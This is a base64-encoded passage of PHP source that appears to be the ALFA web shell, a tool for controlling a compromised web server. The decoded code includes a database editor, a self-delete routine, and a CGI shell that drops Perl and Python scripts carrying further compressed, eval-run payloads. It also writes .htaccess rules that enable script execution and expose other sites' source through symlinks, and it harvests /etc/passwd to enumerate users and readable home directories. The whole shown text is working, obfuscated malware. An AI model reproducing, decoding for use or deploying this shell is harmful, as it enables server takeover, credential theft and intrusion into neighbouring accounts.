sKfQoKaWYoJGNvbF9rZXkpewokY2FjaGVNc2cgPSAnPHRkIHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjsiPjxpbnB1dCByb3dfaWQ9IicuJGxpbmUuJyIgdHlwZT0iY2hlY2tib3giIG5hbWU9InRibF9yb3dzX2NoZWNrYm94W10iIHZhbHVlPSInLiRpdGVtWyRjb2xfa2V5XS4nIj48L3RkPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7Ij48YSBjbGFzcz0iZGItb3B0LWlkIiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiBkYl9pZD0iJy4kZGJbImRiX2lkIl0uJyIgZGJfdGFyZ2V0PSInLiRkYlsiZGIiXS4nIiB0YmxfbmFtZT0iJy4kZGJbInRhYmxlIl0uJyIgY29sX2tleT0iJy4kY29sX2tleS4nIiBrZXk9IicuJGl0ZW1bJGNvbF9rZXldLiciIG9uY2xpY2s9ImFsZmFNeXNxbEVkaXRSb3codGhpcywgXCdlZGl0XCcpOyIgc3R5bGU9ImNvbG9yOiMwYWNhYTY7Ij5FZGl0PC9hPjwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjsiPjxhIGNsYXNzPSJkYi1vcHQtaWQiIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIGRiX2lkPSInLiRkYlsiZGJfaWQiXS4nIiBkYl90YXJnZXQ9IicuJGRiWyJkYiJdLiciIHRibF9uYW1lPSInLiRkYlsidGFibGUiXS4nIiBjb2xfa2V5PSInLiRjb2xfa2V5LiciIGtleT0iJy4kaXRlbVskY29sX2tleV0uJyIgcm93X2lkPSInLiRsaW5lLiciIG9uY2xpY2s9ImFsZmFNeXNxbEVkaXRSb3codGhpcywgXCdkZWxldGVcJyk7IiBzdHlsZT0iY29sb3I6I2ZmMWUxZTsiPkRlbGV0ZTwvYT48L3RkPic7Cn0KJHRibF9jb250ZW50IC49ICc8dHIgY2xhc3M9InRibF9yb3cgdGJsX3Jvd19sJy4kbGluZS4nIj4nLiRjYWNoZU1zZzsKJGxpbmUrKzsKZm9yZWFjaCgkaXRlbSBhcyAka2V5ID0+ICR2YWx1ZSl7CmlmKCR2YWx1ZSA9PSBudWxsKXsKJHRibF9jb250ZW50IC49ICc8dGQ+PGk+bnVsbDwvaT48L3RkPic7Cn1lbHNlewokdGJsX2NvbnRlbnQgLj0gJzx0ZD4nLm5sMmJyKGh0bWxzcGVjaWFsY2hhcnMoJHZhbHVlKSkuJzwvdGQ+JzsKfQp9CiR0YmxfY29udGVudCAuPSAnPC90cj4nOwp9CiR0YmxfY29udGVudCAuPSAnPC90YWJsZT4nOwppZighJHRpdGxlKXsKJHRibF9jb250ZW50ID0gIjxkaXYgc3R5bGU9J3BhZGRpbmc6NXB4O2JvcmRlcjoxcHggZGFzaGVkO21hcmdpbjoxMHB4Oyc+VGFibGUgaXMgZW1wdHkuLi48L2Rpdj4iOwp9CmVjaG8gQGpzb25fZW5jb2RlKGFycmF5KCJzdGF0dXMiID0+IHRydWUsICJ0YWJsZSIgPT4gJHRibF9jb250ZW50LCAiY29sdW1ucyIgPT4gJGNvbHVtbnMsICJwYWdlcyIgPT4gJHBhZ2VzLCAicXVlcnkiID0+ICRxdWVyeSkpOwp9CkBteXNxbGlfY2xvc2UoJGNvbm4pOwp9Cn0KZnVuY3Rpb24gYWxmYXNlbGZybSgpewppZihpc3NldCgkX1BPU1RbJ2FsZmExJ10pJiYkX1BPU1RbJ2FsZmExJ109PSd5ZXMnKXsKZWNobyhfX3ByZSgpLic8Y2VudGVyPicpOwppZihAdW5saW5rKCRHTE9CQUxTWydfX2ZpbGVfcGF0aCddKSl7CmVjaG8oJzxiPlNoZWxsIGhhcyBiZWVuIHJlbW92ZWQ8L2k+IDopPC9iPicpOwp9ZWxzZXsKZWNobyAndW5saW5rIGVycm9yISc7Cn0KZWNobygnPC9jZW50ZXI+Jyk7Cn0KaWYoaXNzZXQoJF9QT1NUWydhbGZhMSddKSYmJF9QT1NUWydhbGZhMSddIT0neWVzJyl7CmVjaG8gIjxkaXYgY2xhc3M9aGVhZGVyPiI7CmVjaG8gJzxwPjxkaXYgY2xhc3M9InR4dGZvbnQiPkRvIHlvdSB3YW50IHRvIGRlc3Ryb3kgbWU/ITwvZGl2PjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdzZWxmcm1cJyxudWxsLFwneWVzXCcpOyI+IFllczwvYT4nOwplY2hvICc8L3A+PC9jZW50ZXI+PC9kaXY+JzsKfQp9CmZ1bmN0aW9uIGFsZmFjZ2lzaGVsbCgpewphbGZhaGVhZCgpOwokZGl2ID0gIiI7CmFsZmFDcmVhdGVQYXJlbnRGb2xkZXIoKTsKQGNoZGlyKCRHTE9CQUxTWydob21lX2N3ZCddIC4gIi8iIC4gX19BTEZBX0RBVEFfRk9MREVSX18pOwppZighaW5fYXJyYXkoJF9QT1NUWydhbGZhMSddLGFycmF5KCdwZXJsJywncHknKSkpewokZGl2ID0gIjwvZGl2PiI7CmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgQ0dJIFNoZWxsIHw8L2Rpdj48L3A+PGgzPjxhIGNsYXNzPSJyZWplY3RtZSIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApIiBvbmNsaWNrPSJydW5jZ2koXCdwZXJsXCcpIj58IFBlcmwgfCA8L2E+PGEgY2xhc3M9InJlamVjdG1lIiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCkiIG9uY2xpY2s9InJ1bmNnaShcJ3B5XCcpOyI+fCBQeXRob24gfCA8L2E+JzsKfQppZihpc3NldCgkX1BPU1RbJ2FsZmExJ10pJiZpbl9hcnJheSgkX1BPU1RbJ2FsZmExJ10sYXJyYXkoJ3BlcmwnLCdweScpKSl7CkBta2RpcignY2dpYWxmYScsMDc1NSk7CkBjaGRpcignY2dpYWxmYScpOwphbGZhY2dpaHRhY2Nlc3MoJ2NnaScpOwokbmFtZSA9ICRfUE9TVFsnYWxmYTEnXS4nLmFsZmEnOwokcGVybCA9ICcjIS91c3IvYmluL3BlcmwgICAtSS91c3IvbG9jYWwvYmFuZG1pbicuIlxuIi4ndXNlIE1JTUU6OkJhc2U2NDt1c2UgQ29tcHJlc3M6OlpsaWI7ZXZhbChDb21wcmVzczo6WmxpYjo6bWVtR3VuemlwKGRlY29kZV9iYXNlNjQoIkg0c0lBQUFBQUFBQS82VVpEWGZUUnZLdkxCdGhTUkJidGt0YXpySmNRdUpBM2lVaGx4anU5YUpnWkdsdDcwT1dWSDJRcE1iOTdUZXp1N0trRUtDMHlVT1JadWQ3Wm1kbWx5Smo1UFQ0ZER3WXZQUXk5dk16dXdEQUVRK1pCRVRlaWduUXdVMUFkRytXVFJNdlgrcTI1aS80Tk9BcGNRZzhFY3NvRncydGE1cTI5bDhlblUxZ3VXdHJaNU9EVlhESkV2aWlMV3ByYnlOK1cwRnNnQnpFcTVVWEJSTytZbkdSSHhhcGwvTTRndFVla0Y4dTQ1dkRPNURCL1RkRm5oUTV3bTBOdEJLQzRXdkI4akJlOEloOC9venZ5VTNCQTBNYm12aE52WER1b1loU29LRlUrNVZVaWcxSVRTbFRJSitEd1hWazZnY1U4R2h5RTFEQU9BZEw3L09qcml0UUxFUzRZT0FZNXVkeDJzUWgvVkdyUjNxalZsL2c0bHRQd0lBb0syYmtnbm5CdVplQ3k5ZGg3SHNoTVo3d3lBUWVMNmFFeitGcEs3REdkNGtHNy9EOHlPN2crY2tMUWU1cEVlWTg4ZEw4S0U1WGgxN3VBYWsyUG51MzFnL2VuRTNHWjVQcDVMZnpzYjRoenAvRVdwWElyalVIOUhZQStEYVp4VVVVZU9tZFkzU2VtcHBsODdraE9WeU0vL04yZkRtWm5vNG5yOThjQWcvMk82R3Z4aE5xcmpVZWJRVUIwc1Z2MDh2SnhmSFpLMzFqYjFpWWZadkYrWnRMNUpHQzZjYmw1UEQ0REt6aDBlNDl2VS9HWjY4bXIvV05hVysyN1A2dVRhRHdTd1VCdGZWMlcrOW9QZnRGeURQTXJpd0plVzVZV3hSTDZBUE9mUTBhc3ZSbEhDQ1ZodGhYdmVzbUdEUndVemZDZjUvaFQyU1Z5MGp4d2RaS1lyMTgvWk5rZ2tLekFKVkhhMzBPdXcrVlJudUlRS3BZQUhkY3hyeDNYSXEydUxRa2svaTkycGRnVFMxcmNSK1dJUXk4QTBuazlHMWxpY2F2NFpVL2ZRck9LUUVTLzMzbnFaQW9WS3d2QVhmRHZWRktRQllxQlNBVGxZbmlEVmtZNzQyR1cwenpzd0JvOEtXWlFzVXQ3bU9qMHpHdHhQTS9HdFNudTJUSmJnMnRaNXJXZ2dsRFVKS3dGU2pzRGFZWFc3OFErYWNDMXlvREJpWXl6MS9DQnpHNnBOTWgyZzZBTVZrcjQ5eW5GZ0h4Um0wWFZad2N5UW14ZDBuZlZFWitWOGtmTktVRFpkRHRVdHpmUnNEbVBHSlF2c3BWTEtaMVRHWDFCb3ZGMnlTTXZRREw5ZHBmeG9taFRid1VDdUFaQk1zVTNHb0FkTmhCa2FZc3lnOTVhcUorSyt2S2RWM3JHdmE0TmttOUtKdXpGSm1KdFVmRzFYdnJ2ZXRlUHpHMVIzYWRFU3FoNmgvdUdyV0VoSmY4RDVURG85eUFKRjFnTTJobXRFa3NxT245WnlZV2xUaGhrZkgyL09UTi91SFI4Y2w0bDlCUlRRdzF6ZldNUjZzNFlEVWtZWmFzcG5hU2dpQlNyWkY3d213L2pMTUdzU0tocGJFc0lQZTEvL2ZMamh0UmhhaFBsb3dnUTBMMXprejF3NGFYT3pvbE4xNUdDaEVKNEpjVnZzK3liRjZFNFYxSGw4bXBwQjU1cUJyMG1rZlVsdkU3eHdVVXJRSUo5WXFzTlN4YldKV0dQc1NLcGFPaEFNUVJVS3g0N3RCOHliT08vT2dFUFBObXdOWEowNExaWWlYb1FJWVV6Sm5sc1djVUVjdDhMMkVHaTN6dzVOdUxZK2kxU1J3Qlo2T09iVUthVVFKSStWM0NITG90b2xVTnBXVEY4bVVjT0xKY0U4L0hIdTJBWTdSTFArVkpmZ0o5Q1VIZ2t0RXc5R1lzSkVEc1VPV2FGS0JaNGtXRUE0dnBkSTZ1TEJJQVdnZ2RrV0dXcDNHMEdMV2lXWmJZOG5td2pDR0N4Qk14QUVTSk1iUUU5OUdRUnpnTlpQbGRDQ3FESjVMUXV4dEVZQnlZZ2xLMmtzRjUvdEtMRm9nVys4VUtyTzlBQk1jaHc5ZVhkOGVCNGVwYm5WemQ3UEFvWXVucnllbUpJN3lFOHJPcjduVkhERVNVU0M4aGxCSlJHdW1ja2d6eXg2RS83ZEZTTTdraUkxWFNsRjh5UmtyRkxZWEVXZklnWUZISk9kZ2lnNnVySFN6Yy9IVXE3MHNSSXBid1I2V1ZMaHI3Rkt3U1RUaGxlWkZHb2czakN4RnBhTmNUV0VHcXpEMzNGa3gycHJVMkZ2a1ZWUG8xNjQzOUVJSm9ERmZ2dmZZZisrMy9kZHYvdWpZdC9iSGVLU0paTUY4L29idFFMQzIyS1BmdFFReWFSM2tiRFI2UW5OM20xakpmaGRoUXRsdDJpSkRSY0FsNmpZWTV6ME0yT2tEQlpIWkg5aytPOXNtRTdaK1NOamw0ZFV6T1dSb09MWWswRkhrMGVyS0dDVFNFRWl3VGFiT3pUWXYxSFB5WUQwaktGOHZjamoreEZBQTNBK2wyMjQvRE9CM3M5UGZtODI3WHZ1RkJ2aHowbm5XVFc3dE1UQ2lMeUxjOWc2SHRvNDNLdDdkTUNBdERubVE4czIrV1BHZHQyQkkrV0JqRk42bVgyQnVSNytzVmxCMGV0WVg4QVpSUjRBMzBPWWR4c08yRmZCRU55QXFVQ1prOWkxTUlDdUFrdHlTTFF4NFFLSFgyREx5NlNIR21BZDloQllRTkR0NEU3TnQydHZRQzFLTUx2OCtBYXFjNy9xbjdiRjl4YXFkZXdJdHNnRXZLTnRMZlF3Vit4QXkvU0RQd0VVbGlqZ240RmNkSVk0bmM2K3U2em1pRGlrSEk1bm1wU0U5NFlpTzJ3cFhZQ25LUFhhK1Z3RkplblpjSTdzTnVrcEVrY1lvRjR5RUhiSGI4VmJEK1c5eEszLzJDS2o4UXp3ZWtKVjRROEdqUlZrN0tjcWpLQTdMMzVRcERUUkMrd2FCQWFEM1l5bGlUbEg2TnZLNXBYMU8rRkZ6VHBXN1B6cEg0S1FVUGVqOERta3I4dmVmKzN0N3pNdkc3M2NmVkR2R0tQTFkzV0w1eGd3MHR1VFZuT1AzR0VkYW1iMVZsY0RYVzR6a2daQWIycU5sQ1NIVG9UbGY4UUdHTkUrbEtoOElYcGtidFU3NEt0V3JmUzRaT0Z3QjBGakNUcGtHVnJKb3VWQk1sQ2dKSlIxZGtPS3RLQ1hpRWtjd0xTQXZTOXhQUE9IUmg4cWNBcTY4WGl4VTAvSTRmcjRiV2JFU3VzZjVHZVZWL2h6bDJiaUxkN05BZURCSlNTL1FlSlQ3c0pkdy80R2loSjM0cnh6dTBENHJteUNKb0VDbXQ1N0RySFBxT3BZRVhlV1ZmUWhKUW8ySFhUcjgvN3ZlZmk1WExTbk55c09DcU5zNUdTbTBDdFRlQzh5eFluOGNFbXo1TEljQTRCSFYwaVpjSCtNREcwbXdSUjNFTTlwWlRrTko3UkR1dEI4WWZZOXVIT3JUaUNBLzBGZnpGck1FVXdocFBhM0xVRGNJSkpQZ3hGZ0xrdGRiT1V4aDI4RVJYbmI5clBXbEV4QkVjNGlybUVqbEg2Q3FmdXovOUFpNjFkZEJ6ZTlXQUtvbGg1Y1gzS0dyT29kV0E4eVZOZnpabnZUMmdxYWxWNGwrN0dxRjJOUTJpTTJZL1BBM0tsZVc5SmVqOGpWV1lsaHhYWDhKT1d6ZG1TRmVIU0t1N25vN3U2aHV4NnYvUWhPbFhFK1kvblUrM285YVBqS0ovYTdJQ2dFd2VTTzQ2QTZ3V0pia3ZwMHlvVU52WnIvc1haekpmcHVzOTdISTJiTTZOaW1RMG9vM1pXRDYvUzcrVVNrWmlCZzY1LzlHaEVIdy9qdVljZHB1cjc2ZU0zTVVGbkZ2ZzVWZElBSlVCUUNRU1FrNkFSQTJGY3c4KzdLMU9yMk00cDFXREpXVG9QeG9xbTllQWErRDBTRzVjYysyRkhxamJOYXRKVUtBU2R1c3poaVY1NWQzeVZiRWlPUkNUR002SVg3bFR6QmpZSGhpWldaN0J4cmZNTDNKV01seHZXdHNyT1B0ZU9tMXZ1QzRQTG83UEo5T3ovZE14SEROcnU3M0NHRis4RzE5c01acW5hMUpleDlpYVROMFNoSWRXN2FLSVNtVWNFakRjRnRPWnVKeVZwMmtmcjhDMHhxRDlBRmFBV1BKU29JSDZRVjF1ZnNDVGRHTU40MFhGd2J5aEFsNFR2SGV6SjM3Z1prL3h4Z2t2ejJDd2dCT2l2Tzc1TG9GOW4wTEd2M2xGcWk1b096V292ZEhlaE1FRFI0bktQZFFQaUZ1djZTNkY2cXRZNGFLU1d3R1YrVjl4aldUOHdiUTNyWHNuSEx5L3dYdmZ2OVJSdGgzRGZWRlBqaHFtTE83M1d1SXc0Si9LQnFHR1E1eG1CbjBjeC9TUkdEK2s1WU9IdW9tYU1VVURxZ0t5YlVDeVNZT0kwVEQ1dHFqR1lGb0tMNGRLa3NZM21hUDN1enJKRXBoSi9DV0RvcUtMeWdDaVJUcW9yTWFNVXFkUGM5MnFMcXZLQlBpTGNhd2JVMCtQZW4zUUxvOWZyZlg5azR0VGNRM3F0cHJiMzViMTR5dEZRZDBvZi9FZkRjRDJzOU9yOGczdjZjaG5hb3VMS3dXVW1MdmJlbVBpMFNka3hyQ3hQZ0pXVTNYZ3hSdlExSTFNdkUxVkNhQk44UUM3QVduZFJuR3NNbEpvK0dVMTNHektGTExLK0pReHRwTGFTRWJ0MWxmSEpMdDFiMUt6L3c4d2JsUytGUm9BQUE9PSIpKSk7Jzs7CiRweSA9ICcjIS91c3IvYmluL3B5dGhvbicuIlxuaW1wb3J0IHpsaWIsIGJhc2U2NFxuIi4nZXZhbChjb21waWxlKHpsaWIuZGVjb21wcmVzcyhiYXNlNjQuYjY0ZGVjb2RlKCJlSnlsRjl0eTJ6YjIyZm9LREx4YlVxdXJGVHZONk5hNlhxZjFiTk5tRXJjdnRrY0RFcUNJQ1Fsd1FkQzI2dkYrKzU0RGtCTFZhT08yYTgvWUJNNzlmbUROWnRvNWtubWhqU1h4V3RwbzV2OE5oV0pSSnNKdVJ6ekdvckNBVmJDeTdOU281YWJzQTE1ZmwvMjFzQWpwUjZ3VXIwLzdsY2t5R1hVU28zTmlaUzVJUTJGTmd1ZUdnelVzRmhHTFAzblVqOVpJdGI3NnVVRnZ6aldqQnJrQkZ3QzFLMUN0SXhPaVM5RDJYaHF0aGlrclY1L0VKcVFmTHo1Y3ZiOWUvWFQrN3BKMlFma3lOckt3aW9GQ2l4YkJ6UjdpWFVka3BmZzlOcVVkTGhMQ3NvUmQ1RHlNa2QxUm5NcU1yMHJMcGVxVDdVRlgxck12ZENIVUJIRDNVWWR4cGt0MDZ0R1JFV1dWSVhhYmVHZ0U0K0VlRWQ2MnFXeGxGUEhFblVTYkhEbXM1ZkN0RkJuL2FMVmhhOFNNY3c0QWhBOGhQdmNzcTBRWXhFRzN3Nlg1SE1BQkFINEVJakROay9vd0RpdjE3MHBiRWZyZ0RxUFhwMXpFbW9zUXNMcU9DQmdDa1dmN0VoRmdkVnVTL01mTmVQcnFqaXdXSklnNUNkQzN5cXZnenFTSEV1QnZNTU52aE9CMzhjQUR3THlvakJISy90Tkpid0tFNUYzd1pKRkIwb1RCclFyNmdUZFFhZXU0TVFXY2Q3U0JBMGhGTWgyenJBd3h3QWM1QnlqMkFPczZhMERDQzF6MzJZSXFIWWpkeWpzUHM0YlpkTWlpRXYrSGRFaTduZmVRL1FWbVNYQkQ1bkN2b0k0Mm1WalFXR2ZhVEkvSHI3NCtHWTluZEJuMDZqckVzRmFsTUdHM0Y4eEhTTEw4OWdYS3ZYSzQvUERyNVllNkhMWWNEc3FlUklrNE9YTWNkbWJ0U083K0ZxRFBWeXNzbzlYS1JYaTF5cGxVcXhXRzJaVXdvUmRhV1NBZDJFMGhwc1NLUnp0S2JaN2RtbHRGRzZSZ2psZkxlUXJWc1p4YmFUT3h2SUNFNGlUYWtQTWYzNTZUYTNIK2pnekl4ZmRYNVAzR3Bsck5SeDV0bmd2TG9NYVlLWVZkMEYrdTN3N2UwT1hjV2JMOHh4TlVWeWFWbUNxdHhPejVlTFZLVU51cWVFb3l6ZXlVR0xsTzdVemZDd01YRDFPU1NzNkZtbmtQa09QSldaS0FFeDhrdCttVW5KeU9pOGNabHlXa3gyWUtvVWZXZ3dqaS8ybUdoZzEyZkFRVVNsSEtjdmFRU2lzRzRMRVlyRmY2d2JCaTlweXhTR1JQT1ROcnFRWk9CV0NPdklIZVNzaW1BY3ZrV2sxSkR1cGtZaFpwd3dYb2MxSThrbEpua2tPRDREUHNsMnVqSzhXbjJFQVZDTUVnQWZiam9Fd1pSejNHOEhzS1ZNZmp5MWZqMC9PYTA4QXdMcXR5aXFER3VNa1pLdkJueklnclU2S1hDZzB4Rk9aL09NWWJpK05CcS9WVFcyZTBvUTVESmhLNzliTHp4TE5VUldWdk1Hc1daUlhsMHQ0OTFRSWJlVzFlTHI2SDNWVEhFanFuV290RERuZytob2J5OUplNE5iNzdHbFUrRU04RDBnckdZVkNzQjdXVFNzc01ZSjk5RGhHb0NkNC9ZMUFndE93SnhvTDhUZFQ2N2FWMlMvdVc4bzNnbGk1dGU0N2Z1cDlHOFBUa05hRFZ4WC8ySmo0N2UxTWJDSTNrNzdzaVlaWFZzMmRvQTY3RzVpTmZ0WkhtRzZJVnhKTXZLTmR4bFVNdVlyTzZ6QVIrZnJlNTR1RnRBSzYraFJhYkFBSzB6QmtsMGRwSlhORGpzZnVoeE9yQ3UzSkI0WVNwMFRyNlQ2ZFc2NXdLZExxN1FHY0JNMjhhZElKWVlMSXM1d24wSVZLTGdrRFNKVFRjYU5kbHdDT0NsSXlUcnlCOTcyVXBZVGtpLzNIWDllbmJOZlMyYkJqcmZENktvUDNOUjhnUzdHOGtXRnlvaUhmemdwNVFVbXVKM3FNa2hsckMrZ0ZIT3ozeFhEdCtRU2VncUVVVy9JQS8ybXhxT3hLb3d3WDlWUmpPRktNRXM4SXpBY1gyTEQyZVRDNG5remNPOG5GbkM3bFl5MjBqalphMUtRUjZ0Ukt4Qlk5WVRWNllHMGhsT2Y0eGplN0xvSm41Ukpia0o4aER0MG01WVU5YnpaN0wrMmJVMURXRFFaNU9NRXVkcGhjNnozR0dUdy9OcGJyMFlDejFVVlNmTkJQSjZ3VE1sL05pK1VVaGU1WGFpRzJxakJqOVVJSTN3Zk5sQVVHS1V4Ri9XdEFFWnJ5Z3RZbEJJak1SNFBESFRRdXR0RzdSUGpwQ1FJSzdXcjJGM1hqVU80VFZHd3FFUUVIWks5Z3d0dGg5a3NuU3VoWGlpSkEyazV2dDRhN2pCR2pqNE5DUGM2ZEFBM2EwS0tPQkR2RUR4NTJIRU9Dclduc0libThJRFQvRDcyN3hxeXhiNFMyUXRUWWJXTkJHdUt3bHFrSEViVGpjWWtOSUhpSW84Z2NEYlBmWjF3dndUZ0xjWWZhQ0FNaU5FSFFEejlnZHF5NmNWNGd3T2hsUFRyZGs5VzV4alZNdkVWRE9oUFpnd29RTnUyNlBrbjk5TjZUNytNRjFLcHhFUW9OZW9ub0IxQllyU1ZWZzB3SWVaUlhIb2l4UitHYUk2NmQvR3BGTDkwOXFlQWtJWTV3M1BVTTRkWTdxNVhDYkFSNjBYU25ySlhmZmZjMnUyejBzeFBQQjU5aTJaa1pOZWpZcFBpb09GT0E4Y3AwT1hnMWErYW01b0RhVjRGVjNHTUtJeGliRkY5WlVZdGFDcEw4RHlTVGNnMHErV053R0tiVHVKM2ZQaCs1cEFYZEJyMTV4ZThGdDhPeUFjUTJNckdaaHBVUVpzMEtFUXVFYjRaY1BWMURkQmZRR0NIY2J1OXZ0enZaWS96RnF2cU9tQkpNWEtoV21nb0RXQm5Qby9jOGZyeWxoTWZwMUFVSGZ2ZnNnK011NTJ6R0kyekdvMy93YUhwd1Nyd1hkWDM1eEdmWTdleThnZS9RWUgwckFUeFRpMnJDSktkbVg0djNaZ0p1VDc5K3Z4bHVoeXlWZGZxWGdvVEJyLzMyUlUrb1ZBQ3UwaWpPSmJRc0NHV3VWU0pQRDhEMDNnbXgwQllrT0g5OUFNT3RvQXBFTDd1d1prNW5VajFEWDhXWmJuWDdRT2ZRL0hCVW14emE0eTh4RFNiZ2J1MzhtR2YrUDJBT1NkMHdPTDJjSnE3QjFtZzQ0cyt3UEo0VGZWUk9jbkhWWE1QaVl3Qm1FanQwK0g5QVB6Y1BKTGJaNzBicElOYnpuQ1hPOUJ2Y2toekVmT2U1TlB0U3pxVm1hM2RibXc3ZVZqRkZNY2RoOWFhSGE2b1JybFlUNWJYNjRmdmZqd2puSXRjT2I4ZDBRTVlDN2R4RGVibXZGZmRmNWQ3WXRpZjMwM0UrNE9oMjhsbit4aUw1QXhENlg0Rk51dDJqdE1tN2tkaTZjL0xCOTRpcUt6OGpndjExTlZabz0iKSksXCc8c3RyaW5nPlwnLFwnZXhlY1wnKSknOwppZigkX1BPU1RbJ2FsZmExJ109PSdwZXJsJyl7JGNvZGUgPSAkcGVybDt9ZWxzZXskY29kZSA9ICRweTt9CmlmKF9fd3JpdGVfZmlsZSgkbmFtZSwkY29kZSkpewpAY2htb2QoJG5hbWUsMDc1NSk7CmVjaG8gJzxpZnJhbWUgc3JjPSInLl9fQUxGQV9EQVRBX0ZPTERFUl9fLicvY2dpYWxmYS8nLiRuYW1lLiciIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjYwMHB4IiBmcmFtZWJvcmRlcj0iMCIgc3R5bGU9Im9wYWNpdHk6MC45O2ZpbHRlcjogYWxwaGEob3BhY2l0eT05KTtvdmVyZmxvdzphdXRvOyI+PC9pZnJhbWU+JzsKfQp9CmVjaG8gJGRpdjsKYWxmYWZvb3RlcigpOwp9CmZ1bmN0aW9uIGFsZmFjZ2lodGFjY2VzcygkbSwkZD0nJywgJHN5bW5hbWU9ZmFsc2UpewokcmVhZG1lID0gIiI7CmlmKCRzeW1uYW1lKXskcmVhZG1lPSJcblJlYWRtZU5hbWUgIi50cmltKCRzeW1uYW1lKTt9CmlmKCRtPT0nY2dpJyl7CiRjb2RlID0gIiNDb2RlZCBCeSBTb2xlIFNhZCAmIEludmlzaWJsZVxuT3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSVxuQWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLWNnaSAuYWxmYVxuQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5hbGZhIjsKfWVsc2VpZigkbT09J3N5bScpewokY29kZSA9ICIjQ29kZWQgQnkgU29sZSBTYWQgJiBJbnZpc2libGVcbk9wdGlvbnMgSW5kZXhlcyBGb2xsb3dTeW1MaW5rc1xuRGlyZWN0b3J5SW5kZXggc29sZXZpc2libGUucGh0bVxuQWRkVHlwZSB0ZXh0L3BsYWluIHBocCBodG1sIHBocDQgcGh0bWxcbkFkZEhhbmRsZXIgdGV4dC9wbGFpbiBwaHAgaHRtbCBwaHA0IHBodG1seyRyZWFkbWV9XG5PcHRpb25zIGFsbCI7Cn1lbHNlaWYoJG09PSdzaHRtbCcpewokY29kZSA9ICJPcHRpb25zICtJbmNsdWRlc1xuQWRkVHlwZSB0ZXh0L2h0bWwgLnNodG1sXG5BZGRIYW5kbGVyIHNlcnZlci1wYXJzZWQgLnNodG1sIjsKfQpAX193cml0ZV9maWxlKCRkIC4gIi5odGFjY2VzcyIsICRjb2RlKTsKfQpmdW5jdGlvbiBhbGZhYmFzZWRpcigpewphbGZhaGVhZCgpOwplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj4KPGNlbnRlcj48cD48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBPcGVuIEJhc2UgRGlyIHw8L2Rpdj48L3A+PC9jZW50ZXI+JzsKJHBhc3N3ZCA9IF9hbGZhX2ZpbGUoJy9ldGMvcGFzc3dkJyk7CmlmKGlzX2FycmF5KCRwYXNzd2QpKXsKJHVzZXJzID0gYXJyYXkoKTsKJG1ha2Vwd2QgPSBhbGZhTWFrZVB3ZCgpOwokYmFzZWRpciA9IEBpbmlfZ2V0KCdvcGVuX2Jhc2VkaXInKTsKJHNhZmVfbW9kZSA9IEBpbmlfZ2V0KCdzYWZlX21vZGUnKTsKaWYoX2FsZmFfY2FuX3J1bkNvbW1hbmQodHJ1ZSxmYWxzZSkmJigkYmFzZWRpcnx8JHNhZmVfbW9kZSkpewokYmFzaCA9ICJmWkJQU3dNeEVNWFB6YWNZeDlqdWdrdlk5bGJwVFE5ZUZVOU5XZFlrMndZa1daS3NnbXUrdTlOYVM4RS9jd2dETC9OK00rL3lRanhiSitLTzNkNC9ySGpOdXNHcFpMMkRtRUlUVFAvU0tsT1VJd09xTlZUdmdMeEcyTUIwQ3NHa0lUaW96N1g1UDlyaU42MGh6aEhUdkxZbjVJb1hmYkF1ZFlCWFVVcUhYOXdQaUVaRFpRQ2o0T004MDdQSVlvdmx3ZXZIeFBpSGUwYVdtVkU3ZjdCYVM0V3M4d0VzV0FlOFVFT0NTaStoNm1vUUppblJ0ekcrNmZJR3RHZVRwOGM3Q3FvNGk0ZEFGQjd4eGlHYWtQZGdTeHRONk94QS9YN2dlUGszVXRJUGlkZE1lMmRPZTh3UU43TlAiOwokdG1wX3BhdGggPSBhbGZhV3JpdGVUb2NnaWFwaSgiYmFzZWRpci5hbGZhIiwkYmFzaCk7CiRiYXNoX3VzZXJzICA9IGFsZmFFeCgiY2QgIi4kdG1wX3BhdGguIi9hbGZhY2dpYXBpO3NoIGJhc2VkaXIuYWxmYSAiLiRtYWtlcHdkLGZhbHNlLHRydWUsdHJ1ZSk7CiR1c2VycyA9IGpzb25fZGVjb2RlKCRiYXNoX3VzZXJzLCB0cnVlKTsKJHg9Y291bnQoJHVzZXJzKTsKaWYoJHg+PTIpe2FycmF5X3BvcCgkdXNlcnMpOy0tJHg7fQp9CmlmKCEkYmFzZWRpciYmISRzYWZlX21vZGUpewokeD0wOwpmb3JlYWNoKCRwYXNzd2QgYXMgJHN0cil7CiRwb3MgPSBzdHJwb3MoJHN0ciwnOicpOwokdXNlcm5hbWUgPSBzdWJzdHIoJHN0ciwwLCRwb3MpOwokZGlyeiA9IHN0cl9yZXBsYWNlKCJ7dXNlcn0iLCAkdXNlcm5hbWUsICRtYWtlcHdkKTsKaWYoKCR1c2VybmFtZSAhPSAnJykpewppZiAoQGlzX3JlYWRhYmxlKCRkaXJ6KSl7CmFycmF5X3B1c2goJHVzZXJzLCR1c2VybmFtZSk7CiR4Kys7Cn19fQp9CmVjaG8gJzxicj48YnI+JzsKZWNobyAiPGI+PGZvbnQgY29sb3I9XCIjMDBBMjIwXCI+WytdIEZvdW5kZWQgIi5zaXplb2YoJHBhc3N3ZCkuIiBlbnRyeXMgaW4gL2V0Yy9wYXNzd2RcbiIuIjxiciAvPjwvZm9udD48L2I+IjsKZWNobyAiPGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+WytdIEZvdW5kZWQgIi4keC4iIHJlYWRhYmxlICIuc3RyX3JlcGxhY2UoInt1c2VyfSIsICIqIiwgJG1ha2Vwd2QpLiIgZGlyZWN0b3JpZXNcbiIuIjxiciAvPjwvZm9udD48L2I+IjsK